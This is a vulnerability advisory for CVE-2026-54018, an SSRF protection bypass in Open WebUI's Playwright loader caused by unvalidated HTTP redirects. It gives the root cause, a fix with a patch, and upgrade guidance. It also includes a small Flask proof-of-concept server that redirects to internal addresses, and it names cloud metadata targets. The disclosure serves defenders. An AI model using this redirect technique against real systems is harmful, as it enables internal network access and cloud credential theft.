CVE-2026-54018: Open WebUI: SSRF Protection Bypass in Playwright Web Loader via HTTP Redirects

Published Jun 17, 2026
·
Updated

Summary The SafePlaywrightURLLoader implements a validateurl function to prevent SSRF attacks by checking the IP address of the user-provided URL. However, this validation is performed only on the initial URL.

Since Playwright automatically follows HTTP redirects (301/302) by default, an attacker can bypass the validation by providing a safe URL that redirects to a restricted internal network address (e.g., localhost, Docker container network, or Cloud Metadata).

This allows the application to access internal services despite ENABLERAGLOCALWEBFETCH being set to False

Details Root Cause

The application validates the initial user-provided URL using self.safeprocessurlsync(url). This correctly resolves the domain and ensures it does not point to a private IP.

The application then calls page.goto(url). By default, Playwright automatically follows HTTP redirects (301/302).

The Bypass: If the destination server returns a redirect to an internal IP (e.g., 127.0.0.1 or 169.254.169.254), the browser follows it without re-validating the new destination. The initial validation is bypassed because it only checked the first URL, not the entire redirect chain.

python for url in self.urls: try: self.safeprocessurlsync(url) page = browser.newpage() response = page.goto(url, timeout=self.playwrighttimeout) #this if response is None: raise ValueError(...) text = self.evaluator.evaluate(page, browser, response)

PoC (This PoC uses Docker to easily demonstrate internal network access (accessing a container by service name). However, the vulnerability is NOT tied to Docker.)

1. Ensure the Open WebUI is configured with the following environment variables. The vulnerability is specific to the Playwright engine. 2. ENABLERAGLOCALWEBFETCH=False (Default) 3. RAGWEBLOADERENGINE=playwright 4. Setup and run attack server 5. In Open WebUI, use the "Web Search" or "URL Loader" feature. 6. Input the attacker's URL (e.g., http://attacker-ip/).

python attackserver.py from flask import Flask, redirect app = Flask(name)

@app.route('/') def attack(): # Redirect to the Open WebUI container's internal port return redirect("http://open-webui:8080/api/version", code=302)

if name == 'main': app.run(host='0.0.0.0', port=80) <img width="580" height="192" alt="image" src="https://github.com/user-attachments/assets/4600dbb5-a81d-4e58-b787-afe04fe59d6e" />

The Playwright browser follows the redirect to the internal address (http://open-webui:8080/api/version)

Impact + Cloud Environments: Access to Instance Metadata Service (IMDS) to steal cloud credentials. + Intranet/On-Premise: Scanning internal networks and accessing unauthenticated internal tools. + Container Environments: Accessing other containers within the same network.

Recommended Patch implement a request interceptor using Playwright's page.route. This ensures all requests, including redirects, are validated before connection.

apply the following logic to both lazyload and alazyload methods:

python async context async def interceptroute(route): try: await runinthreadpool(validateurl, route.request.url) await route.continue() except Exception: await route.abort()

await page.route("/", interceptroute) response = await page.goto(url, timeout=self.playwrighttimeout)

Other sources

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, the SafePlaywrightURLLoader implements a validateurl function to prevent SSRF attacks by checking the IP address of the user-provided URL. However, this validation is performed only on the initial URL. Since Playwright automatically follows HTTP redirects (301/302) by default, an attacker can bypass the validation by providing a safe URL that redirects to a restricted internal network address (e.g., localhost, Docker container network, or Cloud Metadata). This allows the application to access internal services despite ENABLERAGLOCALWEBFETCH being set to False This vulnerability is fixed in 0.9.6.

MITRE

Affected Software

2 affected componentsFixes available
pip/open-webui<=0.9.5
0.9.6
openwebui Open WebUI<0.9.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/open-webui to a version that resolves this vulnerability.

    Fixed in 0.9.6
  2. Upgrade

    Upgrade Open WebUI to a version that resolves this vulnerability.

    Fixed in 0.9.6
  3. Configuration

    If using the Playwright web loader, upgrade Open WebUI to 0.9.6 or later because the SSRF protection bypass is specific to the Playwright engine (prior to 0.9.6 the SafePlaywrightURLLoader validate_url only applied to the initial URL, not the full redirect chain).

    Open WebUI RAG_WEB_LOADER_ENGINE = playwright

Event History

Jun 17, 2026
Advisory Published
via GitHub·05:55 PM
Data Sourced
via GitHub·05:55 PM
DescriptionSeverityWeaknessAffected Software
Jun 23, 2026
CVE Published
via MITRE·04:42 PM
Data Sourced
via MITRE·04:42 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:18 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-54018?

The severity of CVE-2026-54018 is rated as high with a score of 7.7.

2

What type of vulnerability is CVE-2026-54018?

CVE-2026-54018 is classified as a Server-Side Request Forgery (SSRF) vulnerability.

3

What is the risk associated with CVE-2026-54018?

CVE-2026-54018 has a risk rating of 44, indicating significant security concerns.

4

How do I fix CVE-2026-54018?

To fix CVE-2026-54018, ensure the validate_url function properly checks redirected URLs, not just the initial URL.

5

What software is affected by CVE-2026-54018?

CVE-2026-54018 affects the pip/open-webui software.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203